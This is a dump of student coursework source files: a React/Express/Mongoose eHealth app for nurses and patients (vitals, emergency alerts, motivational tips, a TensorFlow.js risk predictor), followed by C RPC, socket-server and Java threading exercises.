type="submit" value="Create Account" /></center> </form> </div>) ); } export default withRouter(SignUp);<file_sep>/react-ui/src/components/MotivationalVideos.js import React from 'react'; import ReactPlayer from "react-player"; function MotivationalVideos() { return ( <div className="flex-container"> <h1>Motivational Videos</h1> <p>Stuck at home because of the pandemic? Stay motivated and fit by watching these inspirational videos.</p> <hr /> <ReactPlayer className="video" width="800px" height="450px" url="https://www.youtube.com/watch?v=e_eJRDl2J6Y" /> <ReactPlayer className="video" width="800px" height="450px" url="https://www.youtube.com/watch?v=aP_cO-rYDhs" /> <ReactPlayer className="video" width="800px" height="450px" url="https://www.youtube.com/watch?v=KEhbYNmY3N4" /> <ReactPlayer className="video" width="800px" height="450px" url="https://www.youtube.com/watch?v=3QajI7XigTs" /> </div> ); } export default MotivationalVideos;<file_sep>/app/models/vitals.server.model.js const mongoose = require('mongoose'); const Schema = mongoose.Schema; // This is the model for vital signs readings. const VitalsSchema = new Schema({ addedBy: { type: Schema.ObjectId, ref: 'User', required: true }, patient: { type: Schema.ObjectId, ref: 'User', required: true }, temp: Number, // body temperature in °C hRate: { type: Number, // heart or pulse rate (bpm) validate: [(hRate) => hRate >= 0, 'Invalid heart rate'] }, sbp: { type: Number, // systolic validate: [(sbp) => sbp >= 0, 'Invalid blood pressure'] }, dbp: { type: Number, // diastolic validate: [(dbp) => dbp >= 0, 'Invalid blood pressure'] }, rRate: { type: Number, // respiratory rate (breaths in one minute) validate: [(rRate) => rRate >= 0, 'Invalid respiratory rate'] }, weight: { type: Number, // body weight in kg validate: [(weight) => weight >= 0, 'Invalid body weight'] }, date: { type: Date, // date created or last edited default: Date.now } }); // Set the 'bp' virtual property VitalsSchema.virtual('bp').get(function () { return `${this.sbp}/${this.dbp}`; }); // Set the 'dateRecorded' virtual property VitalsSchema.virtual('dateRecorded').get(function () { const months = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ]; return `${months[this.date.getMonth()]} ${this.date.getDate() + 1}, ${this.date.getFullYear()} ` + `${this.date.getHours() == 0 ? '12' : (this.date.getHours() % 12 > 0 && this.date.getHours() % 12 <= 9 ? '0' : '') + this.date.getHours() % 12}` + `:${this.date.getMinutes() <= 9 ? '0' : ''}${this.date.getMinutes()} ${this.date.getHours() < 12 ? 'AM' : 'PM'}`; }); // Configure the 'VitalsSchema' to use getters and virtuals when transforming to JSON VitalsSchema.set('toJSON', { getters: true, virtuals: true }); // Create the 'Vitals' model out of the 'VitalsSchema' mongoose.model('Vitals', VitalsSchema);<file_sep>/app/routes/alerts.server.routes.js const userController = require('../../app/controllers/users.server.controller'); const alertController = require('../../app/controllers/alerts.server.controller'); module.exports = function (app) { app.route('/alert/create') .post(userController.requiresLogin, alertController.create); app.route('/alerts/list').get(alertController.list); app.route('/alert/:alertId') .delete(userController.requiresLogin, alertController.delete); app.param('alertId', alertController.alertByID); };<file_sep>/app/models/tip.server.model.js const mongoose = require('mongoose'); const Schema = mongoose.Schema; // This is the model for motivational tips. const TipSchema = new Schema({ author: { required: true, type: Schema.ObjectId, ref: 'User' }, title: String, message: String, // the motivational tip date: { type: Date, // date created or last edited default: Date.now } }); // Set the 'datePosted' virtual property TipSchema.virtual('datePosted').get(function () { const months = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ]; return `${months[this.date.getMonth()]} ${this.date.getDate() + 1}, ${this.date.getFullYear()}`; }); // Configure the 'TipSchema' to use getters and virtuals when transforming to JSON TipSchema.set('toJSON', { getters: true, virtuals: true }); // Create the 'Tip' model out of the 'TipSchema' mongoose.model('Tip', TipSchema);<file_sep>/react-ui/src/components/DisplayTip.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { withRouter } from 'react-router-dom'; function DisplayTip(props) { // Create stateful variables const [tip, setTip] = useState(); // Fetch a random tip useEffect(() => { const fetchTip = async () => { const result = await axios.get("/tip/random"); if (result.data.tip) { setTip(result.data.tip); } else { window.alert("We unfortunately do not have any tips for you right now. Please come back at a later time."); window.location.href = "/"; } }; fetchTip(); }, []); // Build and return JSX return (tip ? <div className="flex-container"> <h1>{tip.title}</h1> <span className="tip-author">by <a href={"/user/" + tip.author._id} >{tip.author.fullName}</a></span> <i>{tip.datePosted}</i> <hr /> <div className="tip"> <p>{tip.message}</p> </div> </div> : <div></div> ); } export default withRouter(DisplayTip);<file_sep>/react-ui/src/components/SignIn.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { Redirect, withRouter } from 'react-router-dom'; function SignIn(props) { // Create stateful variables const [loading, setLoading] = useState(true); const [message, setMessage] = useState(); const [password, setPassword] = useState(); const [signedIn, setSignedIn] = useState(); const [username, setUsername] = useState(); // Check if a user is already signed in useEffect(() => { const verify = async () => { const result = await axios.get("/user/verify"); setSignedIn(result.data.user); setLoading(false); }; verify(); }, []); // Event handlers const signIn = (e) => { e.preventDefault(); const data = { username: username, password: <PASSWORD> }; axios.post("/user/login", data).then(() => { window.location.href = "/"; }).catch((err) => { setMessage(err.response.data.message); }); }; // Build and return JSX return ( loading ? <div></div> : // if loading don't display anything signedIn ? <Redirect push to="/" /> : // if signed in, redirect to home page // login form <div className="flex-container"> {message && <span className="error">{message}</span>} <h1>Sign in to your account</h1> <form onSubmit={signIn}> <table><tbody> <tr> <td align="right">Username:</td> <td><input type="text" id="username" onChange={e => setUsername(e.target.value)} required /></td> </tr> <tr> <td align="right">Password:</td> <td><input type="password" id="password" onChange={e => setPassword(e.target.value)} required /></td> </tr> <tr> <td colSpan="2"><center><input className="btn" type="submit" value="Sign In" /></center></td> </tr> </tbody></table> </form> <p className="here">Don't have an account? Click <a href="/signup">here</a> to sign up.</p> </div> ); } export default withRouter(SignIn);<file_sep>/app/controllers/vitals.server.controller.js const User = require('mongoose').model('User'); const Vitals = require('mongoose').model('Vitals'); // Create a new error handling controller method function getErrorMessage(err) { if (err.errors) { for (let errName in err.errors) { if (err.errors[errName].message) return err.errors[errName]. message; } } else { return 'Unknown server error'; } }; // Create a new vitals entry exports.create = function (req, res) { var vitals = new Vitals(req.body); User.findOne({ username: req.body.patient, role: "patient" }, (err, patient) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } else if (!patient) { return res.status(400).json({ message: "Patient does not exist" }); } else { vitals.addedBy = req.userId; vitals.patient = patient._id; vitals.save((err) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } else { return res.status(200).end(); } }); } }); }; // Send all vitals or by of a patient exports.list = async function (req, res) { var patient; if (req.params.patient) { patient = await User.findOne({ username: req.params.patient }); } const query = patient ? { patient: patient._id } : {}; Vitals.find(query) .populate('addedBy') .populate('patient') .sort({ date: -1 }) .exec((err, vitals) => { if (err) { return res.status(400).end(); } return res.status(200).send({ vitals: vitals, patient: patient }); }); }; // Predict the risk level of developing lung cancer exports.trainAndPredict = function (req, res) { const tf = require('@tensorflow/tfjs'); require('@tensorflow/tfjs-node'); // load training data const data = require('../../respiratory.json'); // convert/setup our data for tensorflow.js // tensor of features for training data, include only features, not the output const trainingData = tf.tensor2d(data.map(item => [ item['Genetic Risk'], item.Obesity, item.Smoking, item['Weight Loss'], item['Swallowing Difficulty'], item['Dry Cough'] ])); // tensor of output for training data // the values for risk will be: // high: 1,0,0 // medium: 0,1,0 // low: 0,0,1 const outputData = tf.tensor2d(data.map(item => [ item.Risk === "High" ? 1 : 0, item.Risk === "Medium" ? 1 : 0, item.Risk === "Low" ? 1 : 0 ])); // input data symptomsInput = { "Genetic Risk": parseInt(req.body.genetic), "Obesity": parseInt(req.body.obesity), "Smoking": parseInt(req.body.smoking), "Weight Loss": parseInt(req.body.weight), "Swallowing Difficulty": parseInt(req.body.swallowing), "Dry Cough": parseInt(req.body.cough) }; //tensor of features for input data const inputData = tf.tensor2d([Object.values(symptomsInput)], [1, 6]) // build neural network using a sequential model const model = tf.sequential(); // add the first layer model.add(tf.layers.dense({ inputShape: [6], // four input neurons activation: "sigmoid", units: 18 //dimension of output space (first hidden layer) })); //add the hidden layer model.add(tf.layers.dense({ inputShape: [18], //dimension of hidden layer activation: "sigmoid", units: 3 //dimension of final output (high, medium, low) })); //add output layer model.add(tf.layers.dense({ activation: "sigmoid", units: 3 //dimension of final output (high, medium, low) })); //compile the model with an MSE loss function and Adam algorithm model.compile({ loss: "meanSquaredError", optimizer: tf.train.adam(0.06), // learning rate }); // Train the model and predict the results for input data // train/fit the model for the specified number of epochs async function run() { const startTime = Date.now() //train the model await model.fit(trainingData, outputData, { epochs: 100, callbacks: { //list of callbacks to be called during training onEpochEnd: async (epoch, log) => { lossValue = log.loss; console.log(`Epoch ${epoch}: lossValue = ${log.loss}`); elapsedTime = Date.now() - startTime; console.log('elapsed time: ' + elapsedTime); } } } ); const results = model.predict(inputData); // get the values from the tf.Tensor and send results.array().then(array => { console.log('\x1b[33m%s\x1b[0m', `Prediction Results: ${array}`); res.status(200).send(array[0]); }); } //end of run function run(); };<file_sep>/app/routes/tips.server.routes.js const userController = require('../../app/controllers/users.server.controller'); const tipController = require('../../app/controllers/tips.server.controller'); module.exports = function (app) { app.route('/tip/create') .post(userController.requiresLogin, tipController.create); app.route('/tips/list/:authorId?').get(tipController.list); app.route('/tip/:tipId') .delete(userController.requiresLogin, tipController.delete); app.route('/tip/random').get(tipController.getRandom); app.param('tipId', tipController.tipByID); };<file_sep>/app/routes/vitals.server.routes.js const userController = require('../../app/controllers/users.server.controller'); const vitalsController = require('../../app/controllers/vitals.server.controller'); module.exports = function (app) { app.route('/vitals/create').post( userController.requiresLogin, vitalsController.create); app.route('/vitals/list/:patient?').get(vitalsController.list); app.post('/predict', vitalsController.trainAndPredict); };<file_sep>/react-ui/src/components/ListAlerts.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { withRouter } from 'react-router-dom'; function ListAlerts(props) { // Create stateful variables const [data, setData] = useState(); // Check if user is a registered nurse and then retrieve alerts useEffect(() => { const fetchData = async () => { const result = await axios.get('/alerts/list'); setData(result.data.alerts); }; const verify = async () => { const result = await axios.get("/user/verify"); if (result.data.user) { if (result.data.user.role === 'nurse') { fetchData(); } else { window.location.href = "/"; } } else { window.location.href = "/signin"; } }; verify(); }, []); // Event handlers const resolve = (e) => { e.preventDefault(); if (window.confirm("Are you sure you want to mark this emergency alert as resolved? Once resolved, an alert will be permanently deleted.\n\nClick \"OK\" to proceed.")) axios.delete("/alert/" + e.target.id).then(() => { props.history.go(0); }); } // Build and return JSX return (data ? <div className="flex-container"> <h1>Emergency Alert System</h1> <p>This page lists the most recent emergency alerts submitted by patients.</p> <hr /> {data.length > 0 ? data.map( (alert, idx) => ( <div className="alert-card" key={idx}> <span><b><a href={'/user/' + alert.patient._id}>{alert.patient.fullName}</a></b> · {alert.age} ago</span> <p>{alert.alertDescription}</p> <a className="alert-resolve" title="Mark as resolved" id={alert._id} onClick={resolve}>✖</a> </div> ) ) : <span>There are no active alerts at the moment.</span> } </div> : <div></div> ); } export default withRouter(ListAlerts);<file_sep>/react-ui/src/components/Profile.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { withRouter } from 'react-router-dom'; function Profile(props) { // Create stateful variables const [user, setUser] = useState(); // Retrieve user useEffect(() => { const fetchData = async () => { const result = await axios.get("/user/" + props.match.params.id); setUser(result.data.user); }; fetchData(); }, []); // Build and return JSX return (user ? <div className="flex-container"> <h1>{user.fullName}</h1> <hr /> <div className="profile"> <div className="profile-card"> <h2>Basic Information</h2> <KeyValue k="Full Name" v={user.fullName} /> <KeyValue k="Age" v={user.age} /> <KeyValue k="Gender" v={user.gender} /> <KeyValue k="Birth Date" v={user.birthdate} /> <KeyValue k="Address" v={user.fullAddress} /> </div> <div className="profile-card"> <h2>Account Information</h2> <KeyValue k="Username" v={user.username} /> <KeyValue k="Account Type" v={user.role[0].toUpperCase() + user.role.substring(1)} /> <h2>Contact Information</h2> <KeyValue k="Phone Number" v={user.phoneNumber} /> <KeyValue k="Email Address" v={user.email} /> </div> </div> </div> : <div></div> ); } export default withRouter(Profile); function KeyValue(props) { return ( <div className="key-pair"> <span>{props.k}</span> <span>{props.v}</span> </div> ); }<file_sep>/react-ui/src/components/EnterVitals.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { withRouter } from 'react-router-dom'; function EnterVitals(props) { // Create stateful variables const [message, setMessage] = useState(); const [user, setUser] = useState(); const [vitals, setVitals] = useState({ patient: '', temp: '', hRate: '', sbp: '', dbp: '', rRate: '', weight: '' }); // Check if user is signed in useEffect(() => { const verify = async () => { const result = await axios.get("/user/verify"); if (result.data.user) { setUser(result.data.user); } else window.location.href = "/"; }; verify(); }, []); // Update patient info when user is verified useEffect(() => { if (user) { if (user.role === "patient") { setVitals({ ...vitals, patient: user.username }); } } }, [user]) // Event handlers const onChange = (e) => { e.persist(); setVitals({ ...vitals, [e.target.name]: e.target.value }); }; const enterVitals = (e) => { e.preventDefault(); const resetForm = () => { setVitals({ patient: user.role === "patient" ? vitals.patient : '', temp: '', hRate: '', sbp: '', dbp: '', rRate: '', weight: '' }); setMessage(null); }; axios.post("/vitals/create", vitals).then((result) => { window.alert("Vital signs reading successfully saved."); resetForm(); }).catch((err) => { setMessage(err.response.data.message); }); }; // Build and return JSX return (user ? <div className="flex-container"> {message && <span className="error">{message}</span>} <h1>Enter Vital Signs</h1> <form onSubmit={enterVitals}> <table><tbody> <tr> <td align="right" colSpan="4">Patient:</td> {user.role === "patient" ? <td colSpan="2"><input type="text" name="patient" value={vitals.patient} onChange={onChange} disabled /></td> : <td colSpan="2"><input type="text" name="patient" value={vitals.patient} onChange={onChange} placeholder="Enter patient username" required /></td> } </tr> <tr><td colSpan="6"><hr /></td></tr> <tr> <td align="right" colSpan="4">Temperature (°C):</td> <td colSpan="2"><input type="number" name="temp" value={vitals.temp} onChange={onChange} required /></td> </tr> <tr> <td align="right" colSpan="4">Heart Rate (bpm):</td> <td colSpan="2"><input type="number" name="hRate" value={vitals.hRate} onChange={onChange} required /></td> </tr> <tr> <td align="right" colSpan="4">Blood Pressure (mmHg):</td> <td colSpan="1"><input type="number" name="sbp" value={vitals.sbp} onChange={onChange} required placeholder="Systolic" /></td> <td colSpan="1"><input type="number" name="dbp" value={vitals.dbp} onChange={onChange} required placeholder="Diastolic" /></td> </tr> <tr> <td align="right" colSpan="4">Respiratory Rate (br/min):</td> <td colSpan="2"><input type="number" name="rRate" value={vitals.rRate} onChange={onChange} required /></td> </tr> <tr> <td align="right" colSpan="4">Weight (kg):</td> <td colSpan="2"><input type="number" name="weight" value={vitals.weight} onChange={onChange} required /></td> </tr> </tbody></table> <center><input className="btn" type="submit" value="Submit" /></center> </form> </div> : <div></div> ); } export default withRouter(EnterVitals);<file_sep>/react-ui/src/components/ListVitals.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { withRouter } from 'react-router-dom'; function ListVitals(props) { // Create stateful variables const [data, setData] = useState(); const [patient, setPatient] = useState(); const [user, setUser] = useState(); // Check if user is signed in and retrieve vitals useEffect(() => { const fetchData = async () => { const result = await axios.get('/vitals/list' + (props.match.params.patient ? '/' + props.match.params.patient : '')); const vitals = result.data.vitals; setPatient(result.data.patient); function compare(a, b) { if (a.patient.fullName < b.patient.fullName) { return -1; } if (a.patient.fullName < b.patient.fullName) { return -1; } return 0; } setData(vitals.sort(compare)); }; const verify = async () => { const result = await axios.get("/user/verify"); if (result.data.user) { setUser(result.data.user); fetchData(); } else { window.location.href = "/signin"; } }; verify(); }, []); // Build and return JSX return (data ? <div className="flex-container"> <h1>Vital Signs Readings</h1> {patient ? <p> Listing the most recent vital signs readings of <a href={"/user/" + patient._id}>{patient.fullName}</a>. {user.role==='nurse' ? <span> Click <a href="/vitals/list">here</a> to view all.</span> : ""} </p> : <p>This table lists the most recent vital signs readings sorted by patient name.</p>} <hr /> <table className="data"> <thead> <tr> <th>Patient</th> <th>Added by</th> <th>Temperature (°C)</th> <th>Heart Rate (bpm)</th> <th>Blood Pressure (mmHg)</th> <th>Respiratory Rate (br/min)</th> <th>Weight (kg)</th> <th>Date Recorded</th> </tr> </thead> <tbody> {data.length > 0 ? data.map((vitals, idx) => ( <tr key={idx}> <td><a href={"/vitals/list/" + vitals.patient.username} title="View readings of this patient only">{vitals.patient.fullName}</a></td> <td><a href={"/user/" + vitals.addedBy._id}>{vitals.addedBy.fullName}</a></td> <td align="center">{vitals.temp}</td> <td align="center">{vitals.hRate}</td> <td align="center">{vitals.bp}</td> <td align="center">{vitals.rRate}</td> <td align="center">{vitals.weight}</td> <td>{vitals.dateRecorded}</td> </tr> )) : <tr> <td colSpan="8"><center>No records found.</center></td> </tr> } </tbody> </table> <a className="btn" href="/vitals/new">Add new entry</a> </div> : <div></div>); } export default withRouter(ListVitals);<file_sep>/app/models/user.server.model.js // Load the module dependencies const mongoose = require('mongoose'); const bcrypt = require('bcrypt'); const saltRounds = 10; // Define a schema const Schema = mongoose.Schema; // Define a new 'UserSchema' var UserSchema = new Schema({ username: { type: String, unique: true, required: 'Username is required', trim: true }, password: { type: String, validate: [ (password) => password && password.length > 6, 'Password should be longer than 6 characters' ] }, firstName: String, lastName: String, birthday: { type: Date, validate: [ (birthday) => birthday < Date.now(), 'Invalid birthday' ], required: true }, gender: String, address: String, city: String, province: String, phoneNumber: String, email: { type: String, match: [/.+\@.+\..+/, "Please enter a valid email address"] }, role: { type: String, validate: [ (role) => role && (role == 'nurse' || role == 'patient'), 'Role can only be either nurse or patient' ] } }); // Set the 'fullname' virtual property UserSchema.virtual('fullName').get(function () { return this.firstName + ' ' + this.lastName; }); // Set the 'fullAddress' virtual property UserSchema.virtual('fullAddress').get(function () { return `${this.address}, ${this.city}, ${this.province}`; }); // Set the 'age' virtual property UserSchema.virtual('age').get(function () { return calculate_age(this.birthday); }); // Set the 'birthdate' virtual property UserSchema.virtual('birthdate').get(function () { const months = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ]; return `${months[this.birthday.getMonth()]} ${this.birthday.getDate() + 1}, ${this.birthday.getFullYear()}`; }); function calculate_age(dob) { var diff_ms = Date.now() - dob.getTime(); var age_dt = new Date(diff_ms); return Math.abs(age_dt.getUTCFullYear() - 1970); } // Use a pre-save middleware to hash the password // before saving it into database UserSchema.pre('save', function (next) { //hash the password before saving it this.password = <PASSWORD>.hashSync(this.password, saltRounds); next(); }); // Configure the 'UserSchema' to use getters and virtuals when transforming to JSON UserSchema.set('toJSON', { getters: true, virtuals: true }); // Create the 'User' model out of the 'UserSchema' mongoose.model('User', UserSchema);<file_sep>/app/controllers/users.server.controller.js const User = require('mongoose').model('User'); const bcrypt = require('bcrypt'); const jwt = require('jsonwebtoken'); const config = require('../../config/config'); const jwtExpirySeconds = 900; const jwtKey = config.secretKey; // Create a new error handling controller method const getErrorMessage = function (err) { // Define the error message variable var message = ''; // If an internal MongoDB error occurs get the error message if (err.code) { switch (err.code) { // If a unique index error occurs set the message error case 11000: case 11001: message = 'Username already exists'; break; // If a general error occurs set the message error default: message = 'Something went wrong'; } } else { // Grab the first error message from a list of possible errors for (const errName in err.errors) { if (err.errors[errName].message) message = err.errors[errName].message; } } // Return the message error return message; }; // Create a new user exports.create = function (req, res) { var user = new User(req.body); // save the new instance user.save((err) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } else { const token = createToken(user); res.cookie('token', token, { maxAge: jwtExpirySeconds * 1000, httpOnly: true }); return res.status(200).end(); } }); }; // Authenticates and signs in a user exports.authenticate = function (req, res) { // Get credentials from request const username = req.body.username; const password = req.body.password; // find the user with given username using static method findOne User.findOne({ username: username }, (err, user) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } else if (!user) { return res.status(400).json({ message: "User not found" }); } else { // compare passwords if (bcrypt.compareSync(password, user.password)) { const token = createToken(user); res.cookie('token', token, { maxAge: jwtExpirySeconds * 1000, httpOnly: true }); return res.status(200).end(); } else { return res.status(400).json({ message: "Incorrect password" }); } } }); }; // Check if a user is currently signed in exports.isSignedIn = function (req, res) { const token = req.cookies.token; if (!token) { return res.end(); } try { const payload = jwt.verify(token, jwtKey); return res.send({ user: payload }); } catch (err) { if (err instanceof jwt.JsonWebTokenError) { return res.status(401).end(); } return res.status(400).end(); } }; // Verifies if user is signed in exports.requiresLogin = function (req, res, next) { const token = req.cookies.token; if (!token) { return res.end(); } try { const payload = jwt.verify(token, jwtKey); // refresh cookie const newToken = createToken({ _id: payload.id, username: payload.username, fullName: payload.fullName, role: payload.role }); res.cookie('token', newToken, { maxAge: jwtExpirySeconds * 1000, httpOnly: true }); req.userId = payload.id; next(); } catch (err) { if (err instanceof jwt.JsonWebTokenError) { return res.status(401).end(); } return res.status(400).end(); } }; // Sign current user out exports.signOut = function (req, res) { res.clearCookie("token"); return res.status(200).end(); }; // Get a user by ID exports.userByID = function (req, res, next, id) { User.findOne({ _id: id }, (err, user) => { if (err) { return next(err); } else { req.user = user; next(); } }); }; // Send user as JSON exports.read = function (req, res) { res.send({ user: req.user }); }; // Returns a token with the user's ID, full name, and role in the payload, // and expires in 900 seconds or 15 minutes function createToken(user) { return jwt.sign({ id: user._id, username: user.username, fullName: user.fullName, role: user.role }, jwtKey, { algorithm: 'HS256', expiresIn: jwtExpirySeconds }); }<file_sep>/react-ui/src/components/CreateAlert.js import axios from 'axios'; import React, { useState, useEffect } from 'react'; import { withRouter } from 'react-router-dom'; function CreateAlert(props) { // Create stateful variables const [alert, setAlert] = useState(); const [loading, setLoading] = useState(true); const [message, setMessage] = useState(); // Check if user is signed in and is a patient useEffect(() => { const verify = async () => { const result = await axios.get("/user/verify"); if (result.data.user && result.data.user.role === 'patient') { setLoading(false); } else window.location.href = "/"; }; verify(); }, []); // Event handlers const createAlert = (e) => { e.preventDefault(); if (!alert || alert === '') { setMessage("Please describe your emergency below"); } else { axios.post('/alert/create', { 'alert': alert }).then((result) => { window.alert("Emergency alert received.\n\nWe will assess your emergency as quickly as we can and react accordingly."); setAlert(""); setMessage(null); }).catch((err) => { setMessage(err.response.data.message); }); } } // Build and return JSX return (loading ? <div></div> : <div className="flex-container"> {message && <span className="error">{message}</span>} <h1>Emergency Alert System</h1> <hr /> <h2>Tell us what's wrong, and we'll get back to you as soon as possible.</h2> <textarea className="alert" value={alert} onChange={e => setAlert(e.target.value)} rows="10" placeholder="Describe your emergency..."></textarea> <button className="btn alert-btn" onClick={createAlert}>Create Alert</button> </div> ); } export default withRouter(CreateAlert);
8487f3a50b0a6c88e5f873ec6cdb8841359a7607
[ "JavaScript" ]
20
JavaScript
javenido/eHealth
a05a7357ad6820ad82de28767e632f9939c35992
72673757ff46085ae55f327ea33a4b2e035f0092
refs/heads/master
<repo_name>ryanfox1985/hello-world-golang<file_sep>/main.go package main import ( "fmt" "log" "net/http" "io/ioutil" "strings" ) func main() { fmt.Println("Begin main!\n\n") resp, err := http.Get("http://en.wikipedia.org/wiki/Lost_(TV_series)") if err != nil { log.Fatal(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) sBody := strings.Split(string(body), " ") words := make([]int, 30, 30) links := 0 for _,element := range sBody { if len(element) > 0 && len(element) < 30 { //&& strings.HasPrefix(element, "<") words[len(element)] = words[len(element)] + 1 } if strings.HasPrefix(element, "<a") { links++ } } fmt.Println("Words size:") fmt.Println(words) fmt.Printf("\nLinks: %d\n", links) //fmt.Println(string(body)) fmt.Println("\n\nEnd main!") } <file_sep>/README.md Example in GO ============= * The GO Blog => https://blog.golang.org This example count the word sizes and links from this page: http://en.wikipedia.org/wiki/Lost_(TV_series) $ go run main.go
2ce30c2c6ac6701639eec1caec22613c700fac2d
[ "Markdown", "Go" ]
2
Go
ryanfox1985/hello-world-golang
4535d23a7473e4c1b6de20b66441fd3c72c34cbf
9c26a58baba7ad4789d76bcb058e932e32e1ea3b
refs/heads/master
<file_sep>#include <stdio.h> #include <stdlib.h> #include <errno.h> #include "../paper/paper.h" #include "../setup.h" CLIENT *cl; /* checks whether a string represends a * valid number * * return 0 if not and 1 otherwise */ int is_a_number(const char *str, int *num) { char *end; *num = strtol(str, &end, 10); if (end == str || *end != '\0' || errno == ERANGE) return 0; else return 1; } void print_header() { printf("Content-type: text/html\n\n"); printf("<!DOCTYPE HTML>\n"); printf("<html>\n<head>\n<title>Index</title>\n</head>\n\n<body>\n"); } void list_papers() { str_list *i; /* get the list from the server */ i = list_1(NULL, cl); printf("<h1>Papers</h1>\n"); if(i == NULL && i->number == -1) { printf("There are currently no papers stored."); return; } printf("<div id=\"papers\">\n"); printf("<table>\n"); printf("<th>Number</th>\n<th>Name</th>\n<th>Title</th>\n"); /* traverse the list and print the number * name and title of the papers */ while(i != NULL && i->number != -1) { printf("<tr>\n <td><a href=paperview?id=%d>%d</a></td>\n <td>%s</td>\n <td>%s</td>\n</tr>\n", i->number, i->number, i->name, i->title); i = i->next; } printf("</table>\n"); return; } int main(int argc, const char *argv[]) { cl = clnt_create(PAPERSERVER_ADDR, PAPER_SERVER, PAPER_VERSION, "tcp"); if(cl == NULL) { perror("No RPC server found"); exit(-1); } print_header(); list_papers(); printf("</body>\n</html>"); return 0; } <file_sep>/* Assignment 1 - Unix Multiprocessing * syn1.java * * author: <NAME> * VUnet-ID: rkj800 * date: 21-09-2012 */ public class syn1 { public static Object lock = new Object(); public static void main(String[] args) { /* create thread objects */ syn1.PrintThread hello = new syn1.PrintThread("Hello World\n"); syn1.PrintThread bonjour = new syn1.PrintThread("Bonjour monde\n"); hello.start(); bonjour.start(); } /* display function revised for java */ public static void display(String str) { for(int i = 0; i < str.length(); i++) { System.out.write(str.charAt(i)); try { Thread.sleep(0, 100000); } catch (Exception e) { System.out.println(e); } } } /* thread class for displaying the strings */ private static class PrintThread extends Thread { String message; PrintThread(String str) { message = str; } public void run() { for(int i = 0; i < 10; i++) { /* acquire lock object before displaying */ synchronized(syn1.lock) { syn1.display(message); } } } } } <file_sep>/* * Please do not edit this file. * It was generated using rpcgen. */ #ifndef _PAPER_H_RPCGEN #define _PAPER_H_RPCGEN #include <rpc/rpc.h> #ifdef __cplusplus extern "C" { #endif struct paper { long len; char *val; }; typedef struct paper paper; struct str_add { char *name; char *title; struct paper p; }; typedef struct str_add str_add; struct str_list { int number; char *name; char *title; struct str_list *next; }; typedef struct str_list str_list; struct str_info { int number; char *name; char *title; }; typedef struct str_info str_info; typedef int int_out; #define PAPER_SERVER 0x20002345 #define PAPER_VERSION 1 #if defined(__STDC__) || defined(__cplusplus) #define ADD 1 extern int_out * add_1(str_add *, CLIENT *); extern int_out * add_1_svc(str_add *, struct svc_req *); #define REMOVE 2 extern int_out * remove_1(int *, CLIENT *); extern int_out * remove_1_svc(int *, struct svc_req *); #define LIST 3 extern str_list * list_1(void *, CLIENT *); extern str_list * list_1_svc(void *, struct svc_req *); #define INFO 4 extern str_info * info_1(int *, CLIENT *); extern str_info * info_1_svc(int *, struct svc_req *); #define FETCH 5 extern paper * fetch_1(int *, CLIENT *); extern paper * fetch_1_svc(int *, struct svc_req *); extern int paper_server_1_freeresult (SVCXPRT *, xdrproc_t, caddr_t); #else /* K&R C */ #define ADD 1 extern int_out * add_1(); extern int_out * add_1_svc(); #define REMOVE 2 extern int_out * remove_1(); extern int_out * remove_1_svc(); #define LIST 3 extern str_list * list_1(); extern str_list * list_1_svc(); #define INFO 4 extern str_info * info_1(); extern str_info * info_1_svc(); #define FETCH 5 extern paper * fetch_1(); extern paper * fetch_1_svc(); extern int paper_server_1_freeresult (); #endif /* K&R C */ /* the xdr functions */ #if defined(__STDC__) || defined(__cplusplus) extern bool_t xdr_paper (XDR *, paper*); extern bool_t xdr_str_add (XDR *, str_add*); extern bool_t xdr_str_list (XDR *, str_list*); extern bool_t xdr_str_info (XDR *, str_info*); extern bool_t xdr_int_out (XDR *, int_out*); #else /* K&R C */ extern bool_t xdr_paper (); extern bool_t xdr_str_add (); extern bool_t xdr_str_list (); extern bool_t xdr_str_info (); extern bool_t xdr_int_out (); #endif /* K&R C */ #ifdef __cplusplus } #endif #endif /* !_PAPER_H_RPCGEN */ <file_sep>/* Assignment 2 - Distributed Programming with Sockets * serv2.c * * author: <NAME> * VUnet-ID: rkj800 * date: 26-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/sem.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include "writen_error.h" int main(int argc, const char *argv[]) { int socket_fd, child_fd, counter = 0, optval = 1, tmp, error; struct sockaddr_in addr; size_t n; socklen_t len; pid_t child_id; /* create socket */ socket_fd = socket(AF_INET, SOCK_STREAM, 0); error_handling(socket_fd, "socket creation error"); addr.sin_family = AF_INET; addr.sin_port = htons(1234); addr.sin_addr.s_addr = htonl(INADDR_ANY); /* set socket level options */ error = setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR,\ (const void *)&optval , sizeof(int)); error_handling(error, "setsocketopt error"); /* bind protocol address to the socket */ error = bind(socket_fd, (struct sockaddr *) &addr, sizeof addr); error_handling(error, "bind error"); /* passive socket needed for server */ error = listen(socket_fd, 5); error_handling(error, "socket listen error"); /* ignore child exist signals (kill zombies) */ signal(SIGCHLD, SIG_IGN); while(1) { /* accept incomming connects from clients */ child_fd = accept(socket_fd, (struct sockaddr*) &addr, &len); error_handling(child_fd, "socket accept error"); /* increasing the counter before forking solves * all concurrency problems */ counter++; /* fork a child to handle the request */ child_id = fork(); error_handling(child_id, "fork error"); if(!child_id) { /* send counter value to client * but first convert it from host * byte order to network byte order */ tmp = htonl(counter); n = writen(child_fd, &tmp, sizeof(counter)); error_handling(n - 4, "less than 4 bites written"); /* close the file descriptor and terminate */ close(child_fd); break; } /* parent should also close the file descriptor */ close(child_fd); } return 0; } <file_sep>/** * Assignment Concurrency & Multithreading. * * 